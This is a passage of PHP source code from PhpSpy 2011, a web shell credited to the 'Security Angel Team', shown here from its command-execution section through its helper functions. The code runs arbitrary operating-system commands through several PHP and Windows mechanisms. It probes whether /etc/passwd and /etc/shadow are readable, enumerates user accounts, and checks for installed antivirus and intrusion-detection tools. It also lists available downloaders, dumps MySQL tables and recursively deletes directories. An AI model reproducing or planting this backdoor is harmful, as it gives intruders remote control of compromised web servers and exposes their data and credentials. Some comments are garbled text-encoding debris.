1416 if (IS_WIN && IS_COM) {
1417 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1418 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1419 }
1420 p('<p>');
1421 makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
1422 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1423 p('</p>');
1424 formfoot();
1425
1426 if ($command) {
1427 p('<hr width="100%" noshade /><pre>');
1428 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1429 $wsh = new COM('WScript.shell');
1430 $exec = $wsh->exec('cmd.exe /c '.$command);
1431 $stdout = $exec->StdOut();
1432 $stroutput = $stdout->ReadAll();
1433 echo $stroutput;
1434 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1435 $descriptorspec = array(
1436 0 => array('pipe', 'r'),
1437 1 => array('pipe', 'w'),
1438 2 => array('pipe', 'w')
1439 );
1440 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1441 if (is_resource($process)) {
1442 fwrite($pipes[0], $command."\r\n");
1443 fwrite($pipes[0], "exit\r\n");
1444 fclose($pipes[0]);
1445 while (!feof($pipes[1])) {
1446 echo fgets($pipes[1], 1024);
1447 }
1448 fclose($pipes[1]);
1449 while (!feof($pipes[2])) {
1450 echo fgets($pipes[2], 1024);
1451 }
1452 fclose($pipes[2]);
1453 proc_close($process);
1454 }
1455 } else {
1456 echo(execute($command));
1457 }
1458 p('</pre>');
1459 }
1460}//end shell
1461
1462elseif ($action == 'phpenv') {
1463 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1464 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1465 !$dis_func && $dis_func = 'No';
1466 $info = array(
1467 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1468 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1469 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1470 4 => array('Server OS',PHP_OS),
1471 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1472 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1473 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1474 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1475 9 => array('The file path',__FILE__),
1476
1477 10 => array('PHP Version',PHP_VERSION),
1478 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
1479 12 => array('Safe Mode',getcfg('safe_mode')),
1480 13 => array('Administrator',$adminmail),
1481 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1482 15 => array('enable_dl',getcfg('enable_dl')),
1483 16 => array('display_errors',getcfg('display_errors')),
1484 17 => array('register_globals',getcfg('register_globals')),
1485 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1486 19 => array('memory_limit',getcfg('memory_limit')),
1487 20 => array('post_max_size',getcfg('post_max_size')),
1488 21 => array('upload_max_filesize',$upsize),
1489 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1490 23 => array('disable_functions',$dis_func),
1491 );
1492
1493 if($phpvarname) {
1494 m($phpvarname .' : '.getcfg($phpvarname));
1495 }
1496
1497 formhead(array('title'=>'Server environment'));
1498 makehide('action','phpenv');
1499 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1500 formfooter();
1501
1502 $hp = array(0=> 'Server', 1=> 'PHP');
1503 for($a=0;$a<2;$a++) {
1504 p('<h2>'.$hp[$a].' »</h2>');
1505 p('<ul class="info">');
1506 if ($a==0) {
1507 for($i=1;$i<=9;$i++) {
1508 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1509 }
1510 } elseif ($a == 1) {
1511 for($i=10;$i<=23;$i++) {
1512 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1513 }
1514 }
1515 p('</ul>');
1516 }
1517}//end phpenv
1518
1519elseif ($action == 'secinfo') {
1520
1521 secparam('Server software', @getenv('SERVER_SOFTWARE'));
1522 secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
1523 secparam('Open base dir', @ini_get('open_basedir'));
1524 secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1525 secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1526 secparam('cURL support', function_exists('curl_version')?'enabled':'no');
1527 $temp=array();
1528 if(function_exists('mysql_get_client_info'))
1529 $temp[] = "MySql (".mysql_get_client_info().")";
1530 if(function_exists('mssql_connect'))
1531 $temp[] = "MSSQL";
1532 if(function_exists('pg_connect'))
1533 $temp[] = "PostgreSQL";
1534 if(function_exists('oci_connect'))
1535 $temp[] = "Oracle";
1536 secparam('Supported databases', implode(', ', $temp));
1537
1538 if( !IS_WIN ) {
1539 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1540 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1541 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1542 secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
1543 secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
1544 secparam('OS version', @file_get_contents('/proc/version'));
1545 secparam('Distr name', @file_get_contents('/etc/issue.net'));
1546 $safe_mode = @ini_get('safe_mode');
1547 if(!$GLOBALS['safe_mode']) {
1548 $temp=array();
1549 foreach ($userful as $item)
1550 if(which($item)){$temp[]=$item;}
1551 secparam('Userful', implode(', ',$temp));
1552 $temp=array();
1553 foreach ($danger as $item)
1554 if(which($item)){$temp[]=$item;}
1555 secparam('Danger', implode(', ',$temp));
1556 $temp=array();
1557 foreach ($downloaders as $item)
1558 if(which($item)){$temp[]=$item;}
1559 secparam('Downloaders', implode(', ',$temp));
1560 secparam('Hosts', @file_get_contents('/etc/hosts'));
1561 secparam('HDD space', execute('df -h'));
1562 secparam('Mount options', @file_get_contents('/etc/fstab'));
1563 }
1564 } else {
1565 secparam('OS Version',execute('ver'));
1566 secparam('Account Settings',execute('net accounts'));
1567 secparam('User Accounts',execute('net user'));
1568 secparam('IP Configurate',execute('ipconfig -all'));
1569 }
1570}//end
1571
1572else {
1573 m('Undefined Action');
1574}
1575
1576?>
1577</td></tr></table>
1578<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1579 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1580 Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1581</div>
1582</body>
1583</html>
1584
1585<?php
1586
1587/*======================================================
1588º¯Êý¿â
1589======================================================*/
1590
1591function secparam($n, $v) {
1592 $v = trim($v);
1593 if($v) {
1594 p('<h2>'.$n.' »</h2>');
1595 p('<div class="infolist">');
1596 if(strpos($v, "\n") === false)
1597 p($v.'<br />');
1598 else
1599 p('<pre>'.$v.'</pre>');
1600 p('</div>');
1601 }
1602}
1603function m($msg) {
1604 echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
1605 echo $msg;
1606 echo '</div>';
1607}
1608function scookie($key, $value, $life = 0, $prefix = 1) {
1609 global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
1610 $key = ($prefix ? $cookiepre : '').$key;
1611 $life = $life ? $life : $cookielife;
1612 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1613 setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
1614}
1615function multi($num, $perpage, $curpage, $tablename) {
1616 $multipage = '';
1617 if($num > $perpage) {
1618 $page = 10;
1619 $offset = 5;
1620 $pages = @ceil($num / $perpage);
1621 if($page > $pages) {
1622 $from = 1;
1623 $to = $pages;
1624 } else {
1625 $from = $curpage - $offset;
1626 $to = $curpage + $page - $offset - 1;
1627 if($from < 1) {
1628 $to = $curpage + 1 - $from;
1629 $from = 1;
1630 if(($to - $from) < $page && ($to - $from) < $pages) {
1631 $to = $page;
1632 }
1633 } elseif($to > $pages) {
1634 $from = $curpage - $pages + $to;
1635 $to = $pages;
1636 if(($to - $from) < $page && ($to - $from) < $pages) {
1637 $from = $pages - $page + 1;
1638 }
1639 }
1640 }
1641 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1642 for($i = $from; $i <= $to; $i++) {
1643 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1644 }
1645 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1646 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1647 }
1648 return $multipage;
1649}
1650// µÇ½Èë¿Ú
1651function loginpage() {
1652?>
1653 <style type="text/css">
1654 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1655 </style>
1656 <form method="POST" action="">
1657 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1658 <input type="hidden" name="action" value="login">
1659 <input type="submit" value="Login">
1660 </form>
1661<?php
1662 exit;
1663}//end loginpage()
1664
1665function execute($cfe) {
1666 $res = '';
1667 if ($cfe) {
1668 if(function_exists('system')) {
1669 @ob_start();
1670 @system($cfe);
1671 $res = @ob_get_contents();
1672 @ob_end_clean();
1673 } elseif(function_exists('passthru')) {
1674 @ob_start();
1675 @passthru($cfe);
1676 $res = @ob_get_contents();
1677 @ob_end_clean();
1678 } elseif(function_exists('shell_exec')) {
1679 $res = @shell_exec($cfe);
1680 } elseif(function_exists('exec')) {
1681 @exec($cfe,$res);
1682 $res = join("\n",$res);
1683 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1684 $res = '';
1685 while(!@feof($f)) {
1686 $res .= @fread($f,1024);
1687 }
1688 @pclose($f);
1689 }
1690 }
1691 return $res;
1692}
1693function which($pr) {
1694 $path = execute("which $pr");
1695 return ($path ? $path : $pr);
1696}
1697
1698function cf($fname,$text){
1699 if($fp=@fopen($fname,'w')) {
1700 @fputs($fp,@base64_decode($text));
1701 @fclose($fp);
1702 }
1703}
1704function dirsize($dir) {
1705 $dh = @opendir($dir);
1706 $size = 0;
1707 while($file = @readdir($dh)) {
1708 if ($file != '.' && $file != '..') {
1709 $path = $dir.'/'.$file;
1710 $size += @is_dir($path) ? dirsize($path) : @filesize($path);
1711 }
1712 }
1713 @closedir($dh);
1714 return $size;
1715}
1716// Ò³Ãæµ÷ÊÔÃÅâ
1717function debuginfo() {
1718 global $starttime;
1719 $mtime = explode(' ', microtime());
1720 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1721 echo 'Processed in '.$totaltime.' second(s)';
1722}
1723
1724//ì½ÓMYSQLÊý¾Ã¿â
1725function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1726 global $charsetdb;
1727 @ini_set('mysql.connect_timeout', 5);
1728 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1729 p('<h2>Can not connect to MySQL server</h2>');
1730 exit;
1731 }
1732 if($link && $dbname) {
1733 if (!@mysql_select_db($dbname, $link)) {
1734 p('<h2>Database selected has error</h2>');
1735 exit;
1736 }
1737 }
1738 if($link && mysql_get_server_info() > '4.1') {
1739 if($charset && in_array(strtolower($charset), $charsetdb)) {
1740 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1741 }
1742 }
1743 return $link;
1744}
1745
1746// È¥µôתÒå×Ö·û
1747function s_array(&$array) {
1748 if (is_array($array)) {
1749 foreach ($array as $k => $v) {
1750 $array[$k] = s_array($v);
1751 }
1752 } else if (is_string($array)) {
1753 $array = stripslashes($array);
1754 }
1755 return $array;
1756}
1757
1758// Çå³ýHTML´úÂë
1759function html_clean($content) {
1760 $content = htmlspecialchars($content);
1761 $content = str_replace("\n", "<br />", $content);
1762 $content = str_replace(" ", " ", $content);
1763 $content = str_replace("\t", " ", $content);
1764 return $content;
1765}
1766
1767// »ñȡȨÃÞ
1768function getChmod($filepath){
1769 return substr(base_convert(@fileperms($filepath),10,8),-4);
1770}
1771
1772function getPerms($filepath) {
1773 $mode = @fileperms($filepath);
1774 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1775 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1776 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1777 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1778 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1779 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1780 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1781 else {$type = '?';}
1782
1783 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1784 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1785 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1786 $group['read'] = ($mode & 00040) ? 'r' : '-';
1787 $group['write'] = ($mode & 00020) ? 'w' : '-';
1788 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1789 $world['read'] = ($mode & 00004) ? 'r' : '-';
1790 $world['write'] = ($mode & 00002) ? 'w' : '-';
1791 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1792
1793 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1794 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1795 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1796
1797 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1798}
1799
1800function getUser($filepath) {
1801 if (function_exists('posix_getpwuid')) {
1802 $array = @posix_getpwuid(@fileowner($filepath));
1803 if ($array && is_array($array)) {
1804 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1805 }
1806 }
1807 return '';
1808}
1809
1810// ɾ³ýĿ¼
1811function deltree($deldir) {
1812 $mydir=@dir($deldir);
1813 while($file=$mydir->read()) {
1814 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1815 @chmod($deldir.'/'.$file,0777);
1816 deltree($deldir.'/'.$file);
1817 }
1818 if (is_file($deldir.'/'.$file)) {
1819 @chmod($deldir.'/'.$file,0777);
1820 @unlink($deldir.'/'.$file);
1821 }
1822 }
1823 $mydir->close();
1824 @chmod($deldir,0777);
1825 return @rmdir($deldir) ? 1 : 0;
1826}
1827
1828// ±Ã¸ñÃüäµÄ±³¾°É«Ìæ»»
1829function bg() {
1830 global $bgc;
1831 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1832}
1833
1834// »ñÈ¡µ±Ç°µÄÎļþõó·¾¶
1835function getPath($scriptpath, $nowpath) {
1836 if ($nowpath == '.') {
1837 $nowpath = $scriptpath;
1838 }
1839 $nowpath = str_replace('\\', '/', $nowpath);
1840 $nowpath = str_replace('//', '/', $nowpath);
1841 if (substr($nowpath, -1) != '/') {
1842 $nowpath = $nowpath.'/';
1843 }
1844 return $nowpath;
1845}
1846
1847// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉü¶Ä¿Â¼
1848function getUpPath($nowpath) {
1849 $pathdb = explode('/', $nowpath);
1850 $num = count($pathdb);
1851 if ($num > 2) {
1852 unset($pathdb[$num-1],$pathdb[$num-2]);
1853 }
1854 $uppath = implode('/', $pathdb).'/';
1855 $uppath = str_replace('//', '/', $uppath);
1856 return $uppath;
1857}
1858
1859// ¼ì²éPHPÅäÖòÎÊý
1860function getcfg($varname) {
1861 $result = get_cfg_var($varname);
1862 if ($result == 0) {
1863 return 'No';
1864 } elseif ($result == 1) {
1865 return 'Yes';
1866 } else {
1867 return $result;
1868 }
1869}
1870
1871// ¼ì²éº¯ÊýÇé¿ö
1872function getfun($funName) {
1873 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1874}
1875
1876// »ñµÃÎļþÀ©Õ¹Ãû
1877function getext($file) {
1878 $info = pathinfo($file);
1879 return $info['extension'];
1880}
1881
1882function GetWDirList($dir){
1883 global $dirdata,$j,$nowpath;
1884 !$j && $j=1;
1885 if ($dh = opendir($dir)) {
1886 while ($file = readdir($dh)) {
1887 $f=str_replace('//','/',$dir.'/'.$file);
1888 if($file!='.' && $file!='..' && is_dir($f)){
1889 if (is_writable($f)) {
1890 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1891 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1892 $dirdata[$j]['dirchmod']=getChmod($f);
1893 $dirdata[$j]['dirperm']=getPerms($f);
1894 $dirdata[$j]['dirlink']=$dir;
1895 $dirdata[$j]['server_link']=$f;
1896 $j++;
1897 }
1898 GetWDirList($f);
1899 }
1900 }
1901 closedir($dh);
1902 clearstatcache();
1903 return $dirdata;
1904 } else {
1905 return array();
1906 }
1907}
1908
1909function GetWFileList($dir){
1910 global $filedata,$j,$nowpath, $writabledb;
1911 !$j && $j=1;
1912 if ($dh = opendir($dir)) {
1913 while ($file = readdir($dh)) {
1914 $ext = getext($file);
1915 $f=str_replace('//','/',$dir.'/'.$file);
1916 if($file!='.' && $file!='..' && is_dir($f)){
1917 GetWFileList($f);
1918 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
1919 if (is_writable($f)) {
1920 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1921 $filedata[$j]['size']=sizecount(@filesize($f));
1922 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1923 $filedata[$j]['filechmod']=getChmod($f);
1924 $filedata[$j]['fileperm']=getPerms($f);
1925 $filedata[$j]['fileowner']=getUser($f);
1926 $filedata[$j]['dirlink']=$dir;
1927 $filedata[$j]['server_link']=$f;
1928 $j++;
1929 }
1930 }
1931 }
1932 closedir($dh);
1933 clearstatcache();
1934 return $filedata;
1935 } else {
1936 return array();
1937 }
1938}
1939
1940function GetSFileList($dir, $content, $re = 0) {
1941 global $filedata,$j,$nowpath, $writabledb;
1942 !$j && $j=1;
1943 if ($dh = opendir($dir)) {
1944 while ($file = readdir($dh)) {
1945 $ext = getext($file);
1946 $f=str_replace('//','/',$dir.'/'.$file);
1947 if($file!='.' && $file!='..' && is_dir($f)){
1948 GetSFileList($f, $content, $re = 0);
1949 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
1950 $find = 0;
1951 if ($re) {
1952 if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
1953 $find = 1;
1954 }
1955 } else {
1956 if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
1957 $find = 1;
1958 }
1959 }
1960 if ($find) {
1961 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1962 $filedata[$j]['size']=sizecount(@filesize($f));
1963 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1964 $filedata[$j]['filechmod']=getChmod($f);
1965 $filedata[$j]['fileperm']=getPerms($f);
1966 $filedata[$j]['fileowner']=getUser($f);
1967 $filedata[$j]['dirlink']=$dir;
1968 $filedata[$j]['server_link']=$f;
1969 $j++;
1970 }
1971 }
1972 }
1973 closedir($dh);
1974 clearstatcache();
1975 return $filedata;
1976 } else {
1977 return array();
1978 }
1979}
1980
1981function qy($sql) {
1982 global $mysqllink;
1983 //echo $sql.'<br>';
1984 $res = $error = '';
1985 if(!$res = @mysql_query($sql,$mysqllink)) {
1986 return 0;
1987 } else if(is_resource($res)) {
1988 return 1;
1989 } else {
1990 return 2;
1991 }
1992 return 0;
1993}
1994
1995function q($sql) {
1996 global $mysqllink;
1997 return @mysql_query($sql,$mysqllink);
1998}
1999
2000function fr($qy){
2001 mysql_free_result($qy);
2002}
2003
2004function sizecount($fileSize) {
2005 $size = sprintf("%u", $fileSize);
2006 if($size == 0) {
2007 return '0 Bytes' ;
2008 }
2009 $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
2010 return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
2011}
2012// ±¸·ÃÊý¾Ã¿â
2013function sqldumptable($table, $fp=0) {
2014 global $mysqllink;
2015
2016 $tabledump = "DROP TABLE IF EXISTS `$table`;\n";
2017 $res = q("SHOW CREATE TABLE $table");
2018 $create = mysql_fetch_row($res);
2019 $tabledump .= $create[1].";\n\n";
2020
2021 if ($fp) {
2022 fwrite($fp,$tabledump);
2023 } else {
2024 echo $tabledump;
2025 }
2026 $tabledump = '';
2027 $rows = q("SELECT * FROM $table");
2028 while ($row = mysql_fetch_assoc($rows)) {
2029 foreach($row as $k=>$v) {
2030 $row[$k] = "'".@mysql_real_escape_string($v)."'";
2031 }
2032 $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
2033 if ($fp) {
2034 fwrite($fp,$tabledump);
2035 } else {
2036 echo $tabledump;
2037 }
2038 }
2039 fwrite($fp,"\n\n");
2040 fr($rows);
2041}
2042
2043function p($str){
2044 echo $str."\n";
2045}
2046
2047function tbhead() {
2048 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2049}
2050function tbfoot(){
2051 p('</table>');
2052}
2053
2054function makehide($name,$value=''){
2055 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2056}
2057
2058function makeinput($arg = array()){
2059 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2060 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2061 !$arg['type'] && $arg['type'] = 'text';
2062 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2063 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2064 if ($arg['newline']) {
2065 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2066 } else {
2067 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2068 }
2069}
2070
2071function makeselect($arg = array()){
2072 if ($arg['onchange']) {
2073 $onchange = 'onchange="'.$arg['onchange'].'"';
2074 }
2075 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2076 if ($arg['newline']) p('<p>');
2077 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2078 if (is_array($arg['option'])) {
2079 if ($arg['nokey']) {
2080 foreach ($arg['option'] as $value) {
2081 if ($arg['selected']==$value) {
2082 p("<option value=\"$value\" selected>$value</option>");
2083 } else {
2084 p("<option value=\"$value\">$value</option>");
2085 }
2086 }
2087 } else {
2088 foreach ($arg['option'] as $key=>$value) {
2089 if ($arg['selected']==$key) {
2090 p("<option value=\"$key\" selected>$value</option>");
2091 } else {
2092 p("<option value=\"$key\">$value</option>");
2093 }
2094 }
2095 }
2096 }
2097 p("</select>");
2098 if ($arg['newline']) p('</p>');
2099}
2100function formhead($arg = array()) {
2101 global $self;
2102 !$arg['method'] && $arg['method'] = 'post';
2103 !$arg['action'] && $arg['action'] = $self;
2104 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2105 !$arg['name'] && $arg['name'] = 'form1';
2106 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2107 if ($arg['title']) {
2108 p('<h2>'.$arg['title'].' »</h2>');
2109 }
2110}
2111
2112function maketext($arg = array()){
2113 !$arg['cols'] && $arg['cols'] = 100;
2114 !$arg['rows'] && $arg['rows'] = 25;
2115 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2116 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2117}
2118
2119function formfooter($name = ''){
2120 !$name && $name = 'submit';
2121 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
2122 p('</form>');
2123}
2124
2125function goback(){
2126 global $self, $nowpath;
2127 p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
2128}
2129
2130function formfoot(){
2131 p('</form>');
2132}
2133
2134function encode_pass($pass) {
2135 $pass = md5('angel'.$pass);
2136 $pass = md5($pass.'angel');
2137 $pass = md5('angel'.$pass.'angel');
2138 return $pass;
2139}
2140
2141function pr($s){
2142 echo "<pre>".print_r($s).'</pre>';
2143}
2144
2145?>